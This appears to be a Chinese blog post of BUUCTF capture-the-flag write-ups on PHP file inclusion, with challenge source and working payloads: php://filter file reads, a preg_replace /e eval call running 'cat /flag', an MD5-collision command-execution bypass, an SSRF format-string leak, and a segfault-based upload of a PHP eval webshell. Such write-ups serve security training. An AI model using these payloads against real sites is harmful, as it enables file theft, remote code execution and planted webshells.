文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2020-08-18   3.9k

BUUCTF刷题——文件包含

BSidesCTF2020 Had a bad day

考点

  • LFI
  • PHP伪协议

解题

index.php有一个参数是woofers,测试SQL注入的是发现了include函数的报错,用PHP伪协议读取文件

审计index.php

1
2
3
4
5
6
7
8
9
10
11
<?php
$file = $_GET['category'];
if(isset($file)){
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>

传入的category需要有woofers,meowers,index才能包含传入以传入名为文件名的文件,我们要想办法包含flag.php,直接试一下在woofers后面加/../flag

上面这个应该是非预期解,我随便试一下竟然直接出来了,这个思路可以记着。

预期解的payload的思路是利用php://filter伪协议可以套一层协议读取flag.php

1
index.php?category=php://filter/convert.base64-encode/index/resource=flag

极客大挑战 2019 Secret File

考点

  • 信息泄露
  • 文件包含

解题

查看源码

访问Archive_room.php

Burp抓包

访问secr3t.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>

include($file)文件包含,而且不能用inputdata等伪协议来读取文件。

文件包含漏洞利用方式

payload:

1
?file=php://filter/read=convert.base64-encode/resource=flag.php

ACTF2020 新生赛 Include

TODO

BJDCTF2020 ZJCTF 不过如此

考点

  • PHP伪协议读取文件
  • preg_match命令执行

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

很明显要使用文件包含读取next.php,payload:

1
http://efb75f40-dbf6-4b18-ab6e-d3e05813d2bb.node3.buuoj.cn/?text=php://input&file=php://filter/convert.base64-encode/resource=next.php

POST:I have a dream

解码得到next.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str );
}

foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

这里涉及到preg_replace()函数的命令执行,附上分析文章:https://xz.aliyun.com/t/2557

payload:

1
http://efb75f40-dbf6-4b18-ab6e-d3e05813d2bb.node3.buuoj.cn/next.php?\S*=${getFlag()}&cmd=system(%27cat%20/flag%27);

执行system函数后面要加分号。

安洵杯2019 easyweb

考点

  • 文件包含

解题

进入题目之后观察url:http://4e78d6a5-8227-41e7-95d5-6b01336c4a5c.node3.buuoj.cn/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=,img的参数比较可疑,用base64解码一次得到MzUzNTM1MmU3MDZlNjc=,感觉又要base64解码一次得到3535352e706e67,这个就比较像16进制了,转码后发现是555.png,很明显的文件包含,写一个python脚本生成index.php的参数。

1
2
3
4
5
6
7
import base64
import binascii

filename='index.php'.encode('utf-8')
hex = binascii.b2a_hex(filename)
encode_str = base64.encode(base64.encode(hex))
print(encode_str)

得到index.php的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>

第一步md5碰撞,和我之前在这篇文章BJDCTF2020 Easy MD5记录的一样,POST数据:

1
a=1%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00+%F7%B9%9D%AB%97o%3F%E9%85%14%1E%A9%88%86%EDm%02Sj%B1%85%92%5E%07%8E%82Z%97%BC%AD%10%22%C6%CB%D8%CC%8CG%E2%EB%FF%C89%3E%D6%D1mE%AAL4%E1%F2d%CD%E1%073c%04%DA6%1C%BFj%8B%C9%08U%17%22%9D%F3%C5ne%FA%A5%2B%A9%F7%8F_D%E22%D0%AD%B5+%CF%06%60%A8%C7%D3%FB%12T%AF%C2%914%B4B%0A%5C%2C%3C%F9%99P%ED%B0%8E%E4%C7%A8%C2%F6%D0%A6%90%BC%B5%2F%ED&b=1%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00+%F7%B9%9D%AB%97o%3F%E9%85%14%1E%A9%88%86%EDm%02S%EA%B1%85%92%5E%07%8E%82Z%97%BC%AD%10%22%C6%CB%D8%CC%8CG%E2%EB%FF%C89%3EV%D2mE%AAL4%E1%F2d%CD%E1%073%E3%04%DA6%1C%BFj%8B%C9%08U%17%22%9D%F3%C5ne%FA%A5%2B%A9%F7%8F%DFD%E22%D0%AD%B5+%CF%06%60%A8%C7%D3%FB%12T%AF%C2%914%B4B%0A%5C%2C%BC%F8%99P%ED%B0%8E%E4%C7%A8%C2%F6%D0%A6%10%BC%B5%2F%ED

第二步就是绕过这个正则表达式,需要FUZZ Linux命令去执行读取文件,这里提供两个命令:sortstrings

另外,过滤反斜杠 |\\|\\\\|的这两个正则没有写好,导致了反斜杠的逃逸,直接用ca\t命令。

关于这个反斜杠逃逸我是真的没太看懂。。。

BJDCTF2nd 文件探测

考点

  • 文件包含
  • SSRF
  • 格式化字符串漏洞
  • Session绕过

解题

查看HTTP返回头发现有一个Hint:home.php,访问后观察url

file参数是一个文件名,用php伪协议尝试文件包含

home.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

setcookie("y1ng", sha1(md5('y1ng')), time() + 3600);
setcookie('your_ip_address', md5($_SERVER['REMOTE_ADDR']), time()+3600);

if(isset($_GET['file'])){
if (preg_match("/\^|\~|&|\|/", $_GET['file'])) {
die("forbidden");
}

if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
die("not now!");
}

if(preg_match("/.?a.?d.?m.?i.?n.?/i", $_GET['file'])){
die("You! are! not! my! admin!");
}

if(preg_match("/^home$/i", $_GET['file'])){
die("禁止套娃");
}

else{
if(preg_match("/home$/i", $_GET['file']) or preg_match("/system$/i", $_GET['file'])){
$file = $_GET['file'].".php";
}
else{
$file = $_GET['file'].".fxxkyou!";
}
echo "现在访问的是 ".$file . "<br>";
require $file;
}
} else {
echo "<script>location.href='./home.php?file=system'</script>";
}

同样的方式可以读取system.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
<?php
error_reporting(0);
if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){
echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>";
header("Refresh:0.1;url=index.php");
die;
}

$str2 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;url invalid<br>~$ ';
$str3 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;damn hacker!<br>~$ ';
$str4 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;request method error<br>~$ ';

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>File Detector</title>

<link rel="stylesheet" type="text/css" href="css/normalize.css" />
<link rel="stylesheet" type="text/css" href="css/demo.css" />

<link rel="stylesheet" type="text/css" href="css/component.css" />

<script src="js/modernizr.custom.js"></script>

</head>
<body>
<section>
<form id="theForm" class="simform" autocomplete="off" action="system.php" method="post">
<div class="simform-inner">
<span><p><center>File Detector</center></p></span>
<ol class="questions">
<li>
<span><label for="q1">你知道目录下都有什么文件吗?</label></span>
<input id="q1" name="q1" type="text"/>
</li>
<li>
<span><label for="q2">请输入你想检测文件内容长度的url</label></span>
<input id="q2" name="q2" type="text"/>
</li>
<li>
<span><label for="q1">你希望以何种方式访问?GET?POST?</label></span>
<input id="q3" name="q3" type="text"/>
</li>
</ol>
<button class="submit" type="submit" value="submit">提交</button>
<div class="controls">
<button class="next"></button>
<div class="progress"></div>
<span class="number">
<span class="number-current"></span>
<span class="number-total"></span>
</span>
<span class="error-message"></span>
</div>
</div>
<span class="final-message"></span>
</form>
<span><p><center><a href="https://gem-love.com" target="_blank">@颖奇L'Amore</a></center></p></span>
</section>

<script type="text/javascript" src="js/classie.js"></script>
<script type="text/javascript" src="js/stepsForm.js"></script>
<script type="text/javascript">
var theForm = document.getElementById( 'theForm' );

new stepsForm( theForm, {
onSubmit : function( form ) {
classie.addClass( theForm.querySelector( '.simform-inner' ), 'hide' );
var messageEl = theForm.querySelector( '.final-message' );
form.submit();
messageEl.innerHTML = 'Ok...Let me have a check';
classie.addClass( messageEl, 'show' );
}
} );
</script>

</body>
</html>
<?php

$filter1 = '/^http:\/\/127\.0\.0\.1\//i';
$filter2 = '/.?f.?l.?a.?g.?/i';


if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {
$url = $_POST['q2'].".y1ng.txt";
$method = $_POST['q3'];

$str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";

echo $str1;

if (!preg_match($filter1, $url) ){
die($str2);
}
if (preg_match($filter2, $url)) {
die($str3);
}
if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
die($str4);
}
$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));
}

?>

重点关注后半段PHP代码,我们可以获取到以下的限制条件:

1.不能包含有flag字符串

2.q2的值必须以http://127.0.0.1/开头,其实相当于是限制了只能通过SSRF读取文件

3.POST获取了q1、q2、q3三个值,其中q1值并没有什么限制,q2后会拼接“.y1ng.txt”字符串,q3中需要以GET或POST字符串开头。

首先是无法直接读取到flag文件,通过home.php文件的源码我们可以猜测应该还存在admin.php文件。其次就是我们传进去的URL即q2值会被拼接上无用字符串,我们可以通过在URL后加 “?a=(GET赋值给一个参数)” 或 “#(锚点)” 来让其失效,

最后一个考的点就是在这两行代码上:

1
2
$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));

这里牵扯到了字符串的格式化的知识,%d会将$detect以二进制数的形式输出,所以并不能得到我们需要的源码。

而主要思路就是让$detect以字符串形式(%s)来输出,我们有两种读取admin.php源码的方法:

  • %1$s —— 这种办法原理是%1$s会将第一个参数用string类型输出,而这道题中第一个参数便是admin.php的源码,语句是:
1
print(sprintf("$url method&content_size:"GET%1$s%d", $detect));  // %1$s会以字符串格式输出$detect,而%d会输出0
  • %s% —— 这种办法的原理是sprintf()函数中%可以转义掉%,这样语句就变成了:
1
print(sprintf("$url method&content_size:"GET%s%%d", $detect));  // %d前的%被转义

构造出Payload,POST发送给system.php即可获得admin.php的源码:

1
q1=1&q2=http://127.0.0.1/admin.php#&q3=GET%1$s 

admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
error_reporting(0);
session_start();
$f1ag = 'f1ag{[email protected]_spr1ntf}'; //fake

function aesEn($data, $key)
{
$method = 'AES-128-CBC';
$iv = md5($_SERVER['REMOTE_ADDR'],true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

function Check()
{
if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
return true;
else
return false;
}

if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
} else {
echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];
}


$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);

if (isset($_GET['decrypt'])) {
$decr = $_GET['decrypt'];
if (Check()){
$data = $_SESSION['secret'];
include 'flag_2sln2ndln2klnlksnf.php';
$cipher = aesEn($data, 'y1ng');
if ($decr === $cipher){
echo WHAT_YOU_WANT;
} else {
die('爬');
}
} else{
header("Refresh:0.1;url=index.php");
}
} else {
//I heard you can break PHP mt_rand seed
mt_srand(rand(0,9999999));
$length = mt_rand(40,80);
$_SESSION['secret'] = bin2hex(random_bytes($length));
}
?>

代码中第一层if循环else代码块中的mt_srand随机数是真随机数,不能爆破。这里有一个Trick:

session绕过。删除cookie,没有cookie中的SESSIONID就找不到对应的session文件,相应的$_SESSION[‘var’]就为NULL,相当于传参NULL。

https://www.jianshu.com/p/9c031dee57b7

所以只要我们在访问admin.php时,删除session访问,代码就会变成:

1
$cipher = aesEn('', 'y1ng');

因此我们就可以计算出密钥,从而获得Flag。

把加密算法改一下得到:

1
2
3
4
5
6
7
function aesEn($data, $key){
$method = 'AES-128-CBC';
$iv = md5('174.0.0.2',true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

echo aesEn('', 'y1ng')

NPUCTF2020 ezinclude

考点

  • 文件包含
  • php Segfault

解题

一进来提示 uername/password error,看的我一脸懵逼。查看网页源代码:

1
<!--md5($secret.$name)===$pass -->

查看cookie

直接给了Hash值,GET参数pass=Hash值。

跳转到404页面,但是中间明显有一个location重定向,用bp重放。

存在文件包含漏洞,PHP伪协议读物文件

index.php

flflflflag.php

查看PHP版本7.0.3,可以使用PHP Segfault上传shell

1
2
3
4
5
6
7
8
9
10
11
import requests
from io import BytesIO

file_data = {
'file': BytesIO(b"<?php eval($_POST[cmd]);")
}
url = "http://db4c33c0-8231-45b5-8aec-dbcadfeb8704.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
r = requests.post(url=url, files=file_data, allow_redirects=False)
except Exception as e:
print(e)

flag在phpinfo中。

Copyright © ca01h 2019-2020 | 本站总访问量